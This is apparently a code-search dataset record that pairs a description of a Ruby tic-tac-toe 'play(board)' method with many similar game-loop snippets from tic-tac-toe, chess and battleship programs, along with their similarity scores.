"def play(board)\n until over?(board) == true\n turn(board)\n end\n if won?(board) != nil\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n until over?(board) == true\n turn(board)\n break if won?(board) != false\n\n end\n puts \"Congratulations #{winner(board)}!\" if won?(board) != false\n puts \"Cats Game!\" if draw?(board) == true\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n \n if won?(board)\n if winner(board) == \"X\"\n puts \"Congratulations X!\"\n else\n puts \"Congratulations O!\"\n end\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n \n while !over?(board) && !won?(board) && !draw?(board)\n turn(board)\n end\n \n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n end\n \n if draw?(board)\n puts \"Cat's Game!\"\n end\n \nend",
"def play(board)\n until over?(board) == true\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n else draw?(board)\n puts \"Cat\\'s Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board);\n end\n if draw?(board);\n puts \"Cat's Game!\"\n elsif won?(board);\n puts \"Congratulations #{winner(board)}!\"\n end\nend",
"def play(board)\n while !over?(board)\n turn(board)\n end\n if token = winner(board)\n puts \"Congratulations #{token}!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def turn \n puts \"Make a move compadre\"\n input = gets.strip\n location = input_to_index(input)\n if valid_move?(location)\n tictac = current_player\n move(location, tictac)\n display_board\n else\n turn\n end\n end",
"def play(board)\n @move.reduce(board) do |b, (posn, letter)| \n b.play_letter(letter, *posn)\n b\n end\n end",
"def play_turn\n move_info = FileReader.get_move(\"#{@turn}#{@player_to_move}\", @data) \n @cur_board.move_piece(move_info)\n end",
"def game_turns\n system(\"clear\")\n until @game.game_over?\n # render both boards\n puts \"COMPUTER BOARD\".center(40, \"=\") # change this to make it dynamic according to board size\n puts @game.computer_board.render\n puts \"PLAYER BOARD\".center(40, \"=\")\n puts @game.player_board.render(true)\n # instruct player to enter coordinate to shoot\n puts \"Enter the coordinate for your shot:\"\n # get user input\n user_input = nil\n loop do\n user_input = gets.chomp.upcase\n if @game.computer_board.valid_coordinate?(user_input) && !@game.computer_board.cell_fired_upon?(user_input)\n @game.computer_board.fire_upon_cell(user_input)\n break\n elsif @game.computer_board.valid_coordinate?(user_input) && @game.computer_board.cell_fired_upon?(user_input)\n puts \"You already fired upon that coordinate. Please try again:\"\n else\n puts \"That was not a valid coordinate. Use the syntax: A1\"\n end\n end\n # computer randomly fires at player board\n if @game.computer_hunting == true\n # randomly select an adjacent coord to previous hit\n chosen_adjacent_shot = @game.player_board.adjacent_coords(@game.most_recent_hit).sample\n @game.player_board.fire_upon_cell(chosen_adjacent_shot)\n @game.player_board.previous_computer_shot = chosen_adjacent_shot\n else\n @game.player_board.fire_upon_random_cell\n end\n # computer checks result of shot to see if it should be hunting nearby\n if @game.player_board.cells[@game.player_board.previous_computer_shot].render == \"H\"\n @game.computer_hunting = true\n @game.most_recent_hit = @game.player_board.previous_computer_shot\n elsif @game.player_board.cells[@game.player_board.previous_computer_shot].render == \"X\"\n @game.computer_hunting = false\n end\n # display results of both players' shots\n puts \"Your shot on #{user_input} #{@game.computer_board.shot_result(user_input)}.\"\n puts \"My shot on #{@game.player_board.previous_computer_shot} #{@game.player_board.shot_result(@game.player_board.previous_computer_shot)}.\"\n end\n end"
] |
[
"0.7892121",
"0.77743924",
"0.7554516",
"0.75393605",
"0.7422957",
"0.738623",
"0.73687863",
"0.73434997",
"0.73434",
"0.7331655",
"0.73286927",
"0.7324371",
"0.72979844",
"0.72942907",
"0.7283687",
"0.72696704",
"0.7258443",
"0.72394353",
"0.7237313",
"0.72257775",
"0.72157305",
"0.71949106",
"0.71909386",
"0.7170598",
"0.7156867",
"0.71297234",
"0.7128709",
"0.7119606",
"0.710747",
"0.710747",
"0.7102861",
"0.710273",
"0.71007955",
"0.7099385",
"0.7094791",
"0.70938617",
"0.70819604",
"0.70733136",
"0.7070356",
"0.70676273",
"0.70664525",
"0.7065508",
"0.7053995",
"0.70507896",
"0.7048143",
"0.70440006",
"0.70413613",
"0.70406014",
"0.70352805",
"0.703088",
"0.703088",
"0.70244455",
"0.7022544",
"0.70151937",
"0.70094055",
"0.7008853",
"0.70073473",
"0.7002775",
"0.6999273",
"0.6996014",
"0.6994761",
"0.6990107",
"0.698967",
"0.69825584",
"0.69775134",
"0.697428",
"0.69734937",
"0.6968086",
"0.6957178",
"0.6950006",
"0.6948309",
"0.69458365",
"0.6942194",
"0.6941729",
"0.6929682",
"0.6919914",
"0.69123334",
"0.69112873",
"0.6910183",
"0.69087964",
"0.69080406",
"0.6905757",
"0.690554",
"0.68994063",
"0.6898897",
"0.6898119",
"0.68944544",
"0.68910366",
"0.6890246",
"0.6886996",
"0.6885465",
"0.6880609",
"0.6877265",
"0.6861951",
"0.68574536",
"0.68551546",
"0.6843906",
"0.68256253",
"0.6822649",
"0.68165034",
"0.6813432"
] |
0.0
|
-1
|
Takes the board as an argument and runs through a complete game
|
def play(board)
until over?(board) do
turn(board)
end
if won?(board)
puts "Congratulations #{winner(board)}!"
else
puts "Cats Game!"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_game\n start_game\n new_board\n while true\n print_grid\n tour_joueur1\n tour_joueur2\n end\nend",
"def play_turn(board, search_depth); raise 'not implemented'; end",
"def turn(row, column)\n place_piece(row, column)\n puts display_board\n check_for_win() \n end",
"def play(board)\n \n while !over?(board)\n turn(board)\n end\n if won?(board)\n return puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n return puts \"Cat's Game!\"\n end\n \n end",
"def play(board)\nwhile !over?(board)\nturn(board)\nend\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n while !over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n while !over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n while !over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n while !over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\nif won?(board)\n puts \"Congratulations #{winner(board)}!\"\nelsif draw?(board)\n puts 'Cats Game!'\nend\nend",
"def play\n @board.print_board\n 9.times do |turns|\n if turn\n break\n end\n end\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif scratch?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n congratulate(winner(board))\n elsif draw?(board)\n draw_message\n end\n\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n else # game was a draw\n puts \"Cats Game!\"\n end\n\nend",
"def play(board)\n counter = 0\n until counter == 9\n turn(@board)\n counter += 1\n end\n end",
"def play(board)\n while !over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\nwhile !over?(board) \n turn(board)\nend\n if draw?(board)\n puts \"Cat's Game!\"\n elsif won?(board)\n puts \"Congratulations #{winner(board)}!\"\n end\nend",
"def play(board)\n while !(over?(board))\n display_board(board)\n turn(board)\n end\n if won?(board) != false\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n if draw?(board)\n puts \"Cats Game!\"\n else\n puts \"Congratulations #{winner(board)}!\"\nend\n\n\nend",
"def game_turns\n system(\"clear\")\n until @game.game_over?\n # render both boards\n puts \"COMPUTER BOARD\".center(40, \"=\") # change this to make it dynamic according to board size\n puts @game.computer_board.render\n puts \"PLAYER BOARD\".center(40, \"=\")\n puts @game.player_board.render(true)\n # instruct player to enter coordinate to shoot\n puts \"Enter the coordinate for your shot:\"\n # get user input\n user_input = nil\n loop do\n user_input = gets.chomp.upcase\n if @game.computer_board.valid_coordinate?(user_input) && !@game.computer_board.cell_fired_upon?(user_input)\n @game.computer_board.fire_upon_cell(user_input)\n break\n elsif @game.computer_board.valid_coordinate?(user_input) && @game.computer_board.cell_fired_upon?(user_input)\n puts \"You already fired upon that coordinate. Please try again:\"\n else\n puts \"That was not a valid coordinate. Use the syntax: A1\"\n end\n end\n # computer randomly fires at player board\n if @game.computer_hunting == true\n # randomly select an adjacent coord to previous hit\n chosen_adjacent_shot = @game.player_board.adjacent_coords(@game.most_recent_hit).sample\n @game.player_board.fire_upon_cell(chosen_adjacent_shot)\n @game.player_board.previous_computer_shot = chosen_adjacent_shot\n else\n @game.player_board.fire_upon_random_cell\n end\n # computer checks result of shot to see if it should be hunting nearby\n if @game.player_board.cells[@game.player_board.previous_computer_shot].render == \"H\"\n @game.computer_hunting = true\n @game.most_recent_hit = @game.player_board.previous_computer_shot\n elsif @game.player_board.cells[@game.player_board.previous_computer_shot].render == \"X\"\n @game.computer_hunting = false\n end\n # display results of both players' shots\n puts \"Your shot on #{user_input} #{@game.computer_board.shot_result(user_input)}.\"\n puts \"My shot on #{@game.player_board.previous_computer_shot} #{@game.player_board.shot_result(@game.player_board.previous_computer_shot)}.\"\n end\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def play_game\r\n\r\n player = \"X\" #Make Player X the default player for each\r\n #new game\r\n \r\n noOfMoves = 0 #Reset the value of the variable used to\r\n #keep track of the total number of moves\r\n #made in a game\r\n\r\n #Clear out the game board to get it ready for a new game\r\n clear_game_board\r\n\r\n loop do #Loop forever\r\n\r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method that displays the game board and\r\n #collects player moves\r\n square = display_game_board(player)\r\n \r\n #Assign the selected game board square to the player\r\n #that selected it\r\n $A1 = player if square == \"A1\" \r\n $A2 = player if square == \"A2\" \r\n $A3 = player if square == \"A3\" \r\n $B1 = player if square == \"B1\" \r\n $B2 = player if square == \"B2\" \r\n $B3 = player if square == \"B3\" \r\n $C1 = player if square == \"C1\" \r\n $C2 = player if square == \"C2\" \r\n $C3 = player if square == \"C3\" \r\n\r\n #Keep count of the total number of moves that have\r\n #been made\r\n noOfMoves += 1\r\n\r\n #Call on the method that is responsible for \r\n #determining if the game has been won\r\n winner = check_results(player)\r\n \r\n #See is player X has won\r\n if winner == \"X\" then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Player X Wins!\")\r\n #Keep count of the total number of wins that $xWins has\r\n $xWins += 1\r\n break #Terminate the execution of the loop\r\n end\r\n \r\n #See if player O has won\r\n if winner == \"O\" then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Player O Wins!\")\r\n #Keep count of the total number of wins that $oWins has\r\n $oWins += 1\r\n break #Terminate the execution of the loop\r\n end \r\n \r\n #See if the game has ended in a tie\r\n if noOfMoves == 9 then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Tie\")\r\n break #Terminate the execution of the loop\r\n end\r\n \r\n #If the game has not ended, switch player turns and\r\n #keep playing\r\n if player == \"X\" then\r\n player = \"O\"\r\n else\r\n player = \"X\"\r\n end\r\n \r\n end\r\n \r\n end",
"def play(board)\n 9.times do |variable|\n turn(board)\n end\n end",
"def play(board)\n display_board(board)\n until over?(board)\n turn(board)\n end\n if won?(board) != false\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cats Game!\"\n else\n nil\n end\n #replay\nend",
"def play_round\n loop do\n self.board.display_board\n self.player1.turn_action\n if self.player1.winner? || self.board.board_full?\n break\n end\n self.player2.turn_action\n if self.player2.winner? || self.board.board_full?\n break\n end\n end\n self.board.display_board\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif\n if draw?(board)\n puts \"Cats Game!\"\n end\n end\nend",
"def play(board)\n turn(board) until over?(board)\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n\n while !over?(board)\n turn(board)\n end\n if won?(board)\n return puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n return puts \"Cats Game!\"\n end\n\nend",
"def play(board)\n until over?(board) do\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play\n # To start, the method takes two arguments, the players and board array. \n while @board.winner == false\n # Then I set up a while loop that will keep going until there is no winner.\n @board.display_board\n # I started by calling the display_board method (from the Board Class) to show \n # the array in the traditional Tic-Tac-Toe formatting. \n cell_prompt\n # I Prompt the Player to make their selection. \n get_move\n # Here is where the Player imputs their selection. \n @board.update_cell\n # Update_cell (from the Board Class) will take the Player's input and update the value of the object at the \n # corresponding Board[index]. \n if @board.winner == true \n puts @board.winner\n break\n # This ends the loop if there has been a winner.\n elsif @board.draw == true\n break\n # This ends the loop if the match is a draw. \n end\n end\n # Otherwise, the loop keeps going. \n end",
"def play_loop\n puts \"Welcome to our game of Chess.\"\n puts \"You make moves by typing in the coordinate that you wish to move from, followed by the coordinate you're moving to\"\n\n turn = :white\n\n until board.checkmate?(turn)\n white_turn = turn == :white\n player = white_turn ? @white : @black\n puts self.board\n puts \"#{turn.to_s.capitalize}'s turn\".bold\n begin\n input = player.play_turn\n\n case input[:action]\n when :save\n save\n when :load\n load\n else\n board.is_color?(input[:start_pos],turn)\n self.board.move(input[:start_pos], input[:end_pos])\n end\n rescue InvalidMoveException => e\n puts e.message\n retry\n end\n turn = white_turn ? :black : :white\n end\n\n if board.checked?(:black)\n puts \"Checkmate! White Wins!\".bold\n elsif board.checked?(:white)\n puts \"Checkmate! Black Wins!\".bold\n else\n puts \"Stalemate. No one wins!\".bold\n end\n end",
"def play_game\n loop do\n puts \"\\n\\n\"\n display_board\n player_turn\n check_game_status\n end\n end",
"def play(board)\n while !over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif\n draw?(board)\n puts \"Cats Game!\"\n end\n end",
"def play(board)\n until over?(board) do\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n puts draw?(board) ? \"Cats Game!\" : \"Congratulations #{winner(board)}!\"\nend",
"def start \n game_board\n #This sets up the array that will be placed into the display_board method\n board = [\"* \",\" * \",\" * \",\" * \",\" * \",\" * \",\"* \",\" * \",\" * \"]\n display_board(board)\n game(board)\nend",
"def play( board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}\"\n #if winner( board)\n # break\n #else over?( board)\n # break\n #end\n elsif draw?( board)\n puts \"Cats Game!\"\n # break\n #elsif counter >= 9\n # break\n end\nend",
"def play_game2\r\n\r\n player = \"O\" #Make Player O the default player for each\r\n #new game\r\n \r\n noOfMoves = 0 #Reset the value of the variable used to\r\n #keep track of the total number of moves\r\n #made in a game\r\n\r\n #Clear out the game board to get it ready for a new game\r\n clear_game_board\r\n\r\n loop do #Loop forever\r\n\r\n Console_Screen.cls #Clear the display area\r\n \r\n #Call on the method that displays the game board and\r\n #collects player moves\r\n square = display_game_board(player)\r\n \r\n #Assign the selected game board square to the player\r\n #that selected it\r\n $A1 = player if square == \"A1\" \r\n $A2 = player if square == \"A2\" \r\n $A3 = player if square == \"A3\" \r\n $B1 = player if square == \"B1\" \r\n $B2 = player if square == \"B2\" \r\n $B3 = player if square == \"B3\" \r\n $C1 = player if square == \"C1\" \r\n $C2 = player if square == \"C2\" \r\n $C3 = player if square == \"C3\" \r\n\r\n #Keep count of the total number of moves that have\r\n #been made\r\n noOfMoves += 1\r\n\r\n #Call on the method that is responsible for \r\n #determining if the game has been won\r\n winner = check_results(player)\r\n \r\n #See is player X has won\r\n if winner == \"X\" then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Player X Wins!\")\r\n #Keep count of the total number of wins that $xWins has\r\n $xWins += 1\r\n break #Terminate the execution of the loop\r\n end\r\n \r\n #See if player O has won\r\n if winner == \"O\" then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Player O Wins!\")\r\n #Keep count of the total number of wins that $oWins has\r\n $oWins += 1\r\n break #Terminate the execution of the loop\r\n end \r\n \r\n #See if the game has ended in a tie\r\n if noOfMoves == 9 then\r\n #Call on the method that displays the game final\r\n #results\r\n display_game_results(\"Tie\")\r\n break #Terminate the execution of the loop\r\n end\r\n \r\n #If the game has not ended, switch player turns and\r\n #keep playing\r\n if player == \"X\" then\r\n player = \"O\"\r\n else\r\n player = \"X\"\r\n end\r\n \r\n end\r\n \r\n end",
"def play\n @board.each do|index|\n is_game_over = over?\n is_game_won = won?\n is_game_draw = draw?\n if is_game_over == true\n if is_game_won.is_a?(Array)\n winner_name = winner\n puts \"Congratulations #{winner_name}!\"\n return \" \"\n elsif is_game_draw == true\n puts \"Cat\\'s Game!\"\n return \" \"\n else\n return false\n end\n else\n if is_game_won.is_a?(Array)\n winner_name = winner\n puts \"Congratulations #{winner_name}!\"\n return \" \"\n elsif is_game_draw == true\n puts \"Cat\\'s Game!\"\n return \" \"\n else\n turn\n end\n end\n end\n turn\n end",
"def play(board)\n until over?(board) == true\n turn(board)\n end\n\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n puts \"Congratulations \" + winner(board) +\"!\"\n elsif draw?(board) == true\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n until over?(board)\n turn(board);\n end\n if draw?(board);\n puts \"Cat's Game!\"\n elsif won?(board);\n puts \"Congratulations #{winner(board)}!\"\n end\nend",
"def play(board)\n\tuntil (over?(board))\n\t\tif (draw?(board))\n\t\t\tbreak\n\t\tend\n\t\tturn(board)\n\tend\n\n\tif (won?(board))\n\t\tputs \"Congratulations \" + winner(board) + \"!\"\n\telsif\n\t\tputs \"Cats Game!\"\n\tend\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n winner = winner(board)\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def play(board)\n until over?(board) == true\n turn(board)\n end\n if draw?(board) == true\n puts \"Cats Game!\"\n else puts \"Congratulations #{winner(board)}!\"\n end\nend",
"def play\n while true\n current_player.en_passant = false\n board.formatted_grid\n if check_for_check\n if check_for_checkmate\n puts \"Checkmate!\"\n else\n puts \"Check!\"\n end\n end\n x, y = prompt_selection\n puts \"\"\n puts ask_move\n x_end, y_end = get_move\n if x_end == \"back\"\n board.clear_board\n play\n end\n while board.valid_place?(x_end, y_end) == false\n puts \"Invalid option! Try again:\"\n x_end, y_end = get_move\n board.valid_place?(x_end, y_end)\n end\n #check for en passant\n if board.get_cell_piece(x, y).type == \"pawn\" && y_end - y == 2\n current_player.en_passant = true\n elsif board.get_cell_piece(x, y).type == \"pawn\" && y - y_end == 2\n current_player.en_passant = true\n end\n\n #check for promotion\n if board.get_cell_piece(x, y).type == \"pawn\" && board.get_cell_piece(x, y).color == \"white\" && y_end == 0\n promote(x, y)\n elsif board.get_cell_piece(x, y).type == \"pawn\" && board.get_cell_piece(x, y).color == \"black\" && y_end == 7\n promote(x, y)\n end\n\n #check for castling\n if board.get_cell_piece(x, y).type == \"king\" && x_end - x == 2\n board.piece_move(x + 3, y, x + 1, y)\n board.set_cell_color(x + 2, y, \"red\")\n elsif board.get_cell_piece(x, y).type == \"king\" && x - x_end == 2\n board.piece_move(x - 4, y, x - 1, y)\n board.set_cell_color(x - 2, y, \"red\")\n end\n #check if taking an opponent's piece\n if is_taking_piece?(x_end, y_end) \n hash_value = other_player.pieces_left.key([x_end, y_end])\n current_player.pieces_left[hash_value] = [x_end, y_end]\n other_player.pieces_left.delete(hash_value)\n\n board.piece_move(x, y, x_end, y_end)\n else\n hash_value = current_player.pieces_left.key([x, y])\n current_player.pieces_left[hash_value] = [x_end, y_end]\n board.piece_move(x, y, x_end, y_end)\n end\n #if board.game_over\n #puts game_over_message\n #board.formatted_grid\n #return\n #else\n switch_players\n #end\n end\n end",
"def play_turn(board)\n jumps = board.find_jumps(@color)\n slides = board.find_slides(@color)\n move = (!jumps.empty?) ? [jumps.sample] : [slides.sample]\n readable_move = make_readable(move)\n puts \"Computer plays #{readable_move[0]} to #{readable_move[1]}\"\n move\n end",
"def game()\n\n system \"cls\"\n puts \"Enter the size of the tic-tac-toe board: \"\n size = gets.chomp.to_i\n if (size > 2) then\n init(:size => size)\n else\n puts(\"Invalid input\")\n sleep(1)\n game()\n end\n \n @taken = 0\n\n while true do\n\n if (@taken >= (@@size**2)-2) then\n system \"cls\"\n puts (\"<=============PLAYER #{@player}=============>\")\n puts ()\n show\n puts ()\n return 0\n end\n\n # player 1 is assumed to take X and player 2 assumed to take Y\n # this setting can be changed in the turn() method\n @player = 1\n if turn(@player) then\n system \"cls\"\n puts (\"<=============PLAYER #{@player}=============>\")\n puts ()\n show\n puts ()\n return 1\n end\n\n @player = 2\n if turn(@player) then\n system \"cls\"\n puts (\"<=============PLAYER #{@player}=============>\")\n puts ()\n show\n puts ()\n return 2\n end\n\n end\n end",
"def play(board)\n until over?(board) == true\n turn(board)\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n else draw?(board)\n puts \"Cat\\'s Game!\"\n end\nend",
"def game_loop\n until win?\n who = turn(who)\n puts \"#{ who }'s turn\"\n piece = choose_piece\n move_coord = choose_square\n if piece.move(move_coord, who)\n @pieces = Piece.all\n Board.new(@pieces)\n else\n who = \"illegal\"\n end\n end\n end",
"def play_game\n print \"Welcome to Tic Tac Toe, a two player game where each player marks \nwith a X or O in a 3x3 board until one player achieves a line of 3 marks. Each \nplayer should type the row letter + column number eg. a1 \\n\"\n print_board\n while @turns<9 && self.three_o? == false && self.three_x? == false\n if @turn_type == \"x\"\n self.x_player_turn\n @turn_type = \"o\"\n @turns += 1\n self.print_board\n else\n self.o_player_turn\n @turn_type = \"x\"\n @turns += 1\n self.print_board\n end\n end\n if self.three_x?\n puts \"Player X Wins\" \n elsif self.three_o?\n puts \"Player O Wins\"\n else\n puts \"Tough luck it's a draw\"\n end\n end",
"def play(board)\n until over?(board) == true\n turn(board)\n end\n if won?(board) != nil\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def turns\n while @board.game_check == false\n player_process(@player1_name,@player1_symbol,@turn)\n break if @board.game_check == true\n\n player_process(@player2_name,@player2_symbol,@turn)\n end\n @board.display\n print \"\\nDone \\n\"\n end",
"def play(board)\n while !over?(board)\n turn(board)\n end\n\n if draw?(board)\n puts \"Cat's Game!\"\n else\n winny = winner(board)\n puts \"Congratulations #{winny}!\"\n end\nend",
"def play(board)\n #turn(board)\n i = 0\n until over?(board) == true\n turn(board)\n if draw?(board) == true\n break\n elsif won?(board) != false\n break\n elsif i == 9\n break\n end\n end\n \n if won?(board) != false\n puts \"Congratulations #{winner(board)}!\"\n elsif draw?(board) == true\n puts \"Cat's Game!\"\n end\nend",
"def play_game\n @board.print_board\n until @quit || @restart || gameover?\n cell = take_turn(@current_player)\n if !cell.nil?\n coordinates = get_coordinates(cell)\n change_board(coordinates) if valid_cell?(coordinates)\n end\n @current_player = switch_player(@current_player)\n @board.print_board unless @restart || @quit\n end\n reset_board if @restart\n ending_screen if gameover?\n\n end",
"def play(board)\n current_player(board)\n until over?(board)\n turn(board)\n end\n if won?(board)\n winner(board)\n puts \"Congrats #{{winner(board)}}\"\n else\n draw?(board)\n puts \"It's a cat's game!\"\n end\n end",
"def play(board)\n \n while !over?(board) && !won?(board) && !draw?(board)\n turn(board)\n end\n \n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n end\n \n if draw?(board)\n puts \"Cat's Game!\"\n end\n \nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n \n if won?(board)\n if winner(board) == \"X\"\n puts \"Congratulations X!\"\n else\n puts \"Congratulations O!\"\n end\n elsif draw?(board)\n puts \"Cats Game!\"\n end\nend",
"def start_game(columns, rows, best_score)\n cur_board = get_board(columns, rows)\n cur_completed = 0\n no_of_turns = 0\n\n while !check_win? cur_board\n # Display the current board\n print_board cur_board\n\n # In-game messages\n puts \"Current completion: #{ cur_completed }%\"\n puts \"Number of turns: #{ no_of_turns }\"\n\n # User chooses color by entering the first letter of that color\n print \"Choose a color: \"\n cur_color = gets.chomp\n\n # Convert the letter entered into a color symbol\n cur_color = to_color cur_color\n\n # Return to main menu if \"q\" entered\n if cur_color == \"q\"\n display_menu columns, rows, best_score\n end\n\n # Check if color entered is different to the previous color entered\n if cur_color != cur_board[0][0]\n # Update color of top left square and any squares connected to it\n update_adjacent cur_board, 0, 0, cur_color\n end\n\n # Update number of turns\n no_of_turns += 1\n\n # Update percentage of board completed\n cur_completed = get_amount cur_board, cur_color\n\n # Clear the screen\n clear\n end\n\n # Display message when board is completed\n puts \"You won after #{ no_of_turns } turns\"\n print \"<Press enter to continue>\"\n gets\n\n # Check if score is better than the \"best_score\"\n if no_of_turns < best_score || best_score == 0\n display_menu columns, rows, no_of_turns\n else \n display_menu columns, rows, best_score\n end\nend",
"def run_game\n\t\tif @player_turn == nil\n\t\t\tputs \"white team name:\"\n\t\t\ta = gets.chomp\n\t\t\tputs \"black team name:\"\n\t\t\tb = gets.chomp\n\t\tend\n\t\t@player1 = Player.new(:white, a)\n\t\t@player2 = Player.new(:black, b)\n\t\t@player_turn == nil ? player_turn = @player1 : player_turn = @player_turn\n\t\t@check == nil ? check = false : check = @check\n\t\t#If there are no possible moves, either checkmate or stalemate\n\t\twhile @board.any_possible_moves?(player_turn.color, check)\n\t\t\t\n\t\t\t@check = check\n\t\t\t@player_turn = player_turn\n\n\t\t\tchoose_move(player_turn, check)\n\t\t\t\n\t\t\tcheck = @check\n\t\t\tplayer_turn = @player_turn\n\t\t\t\n\t\t\tif @viable_move == true\n\t\t\t\tplayer_turn = switch_player(player_turn)\n\t\t\t\t@board.turn_off_en_passant(player_turn.color)\n\t\t\tend\n\t\t\t@board.cause_check(player_turn.color, check) == true ? check = true : check = false\n\t\tend\n\t\t#Decides end of game: checkmate or stalemate\n\t\tif check == true\n\t\t\t@board.display(player_turn, check)\n\t\t\tprint \"#{player_turn.name} can no longer make a move! CHECKMATE! \\n\"\n\t\t\tprint \"#{switch_player(player_turn).name} WINS!!!\"\n\t\telse\n\t\t\tprint \"This contest ends in a stalemate.\"\n\t\tend\n\tend",
"def play(board)\n until over?(board) == true\n turn(board)\n break if won?(board) != false\n\n end\n puts \"Congratulations #{winner(board)}!\" if won?(board) != false\n puts \"Cats Game!\" if draw?(board) == true\nend",
"def play(board)\n turns = 0\n while turns < 9\n turn(board)\n turns += 1\n end\nend",
"def run\n while(!@game_over)\n valid_input = false\n input_column = -1\n \n display_board\n puts \">>> Player #{@player}'s turn.\"\n \n # Repeatedly prompts the user for input until valid input is given\n while(!valid_input)\n input_column = prompt\n \n # Requests input again if the input given is invalid\n valid_input = true if((0..6).include? input_column)\n if(!valid_input)\n puts \"Invalid input! Please try again.\"\n next\n end\n \n # Requests input again if the specified column is already full\n valid_insertion = insert_at(input_column, @player)\n if(!valid_insertion)\n puts \"\\nERROR: The column is already full! Please try again.\" \n valid_input = false\n end\n end\n \n # Check to see if game is won\n break if(win_condition_met?(@player))\n \n # Swap players after each turn\n if(@player == 1)\n @player = 2\n elsif(@player == 2)\n @player = 1\n end\n \n end\n \n display_board\n puts \">>> Player #{@player} has won!!! <<<\"\n end",
"def play(board)\n until over?(board) == true\n turn(board)\n if draw?(board) == true\n break\n end\n end\n if draw?(board) == true\n puts \"Cats Game!\"\n elsif won?(board) != false\n puts \"Congratulations #{winner(board)}!\"\n end\nend",
"def play(board)\n until over?(board) || draw?(board)\n board = turn(board)\n end\n winner = winner(board)\n unless winner.nil?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\nend",
"def play(board)\nmoves=0\nuntil moves==8\n if won?(board) != false\n puts \"Congratulations #{winner(board)}!\"\n break\n end\n if draw?(board)\n puts \"Cat's Game!\"\n break\n end\n if over?(board)\n break\n end\n turn(board)\n moves+=1\nend\n\nend",
"def play(board)\n until over?(board)\n turn(board)\n end\n if winner(board)\n winning_player = winner(board)\n puts \"Congratulations #{winning_player}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
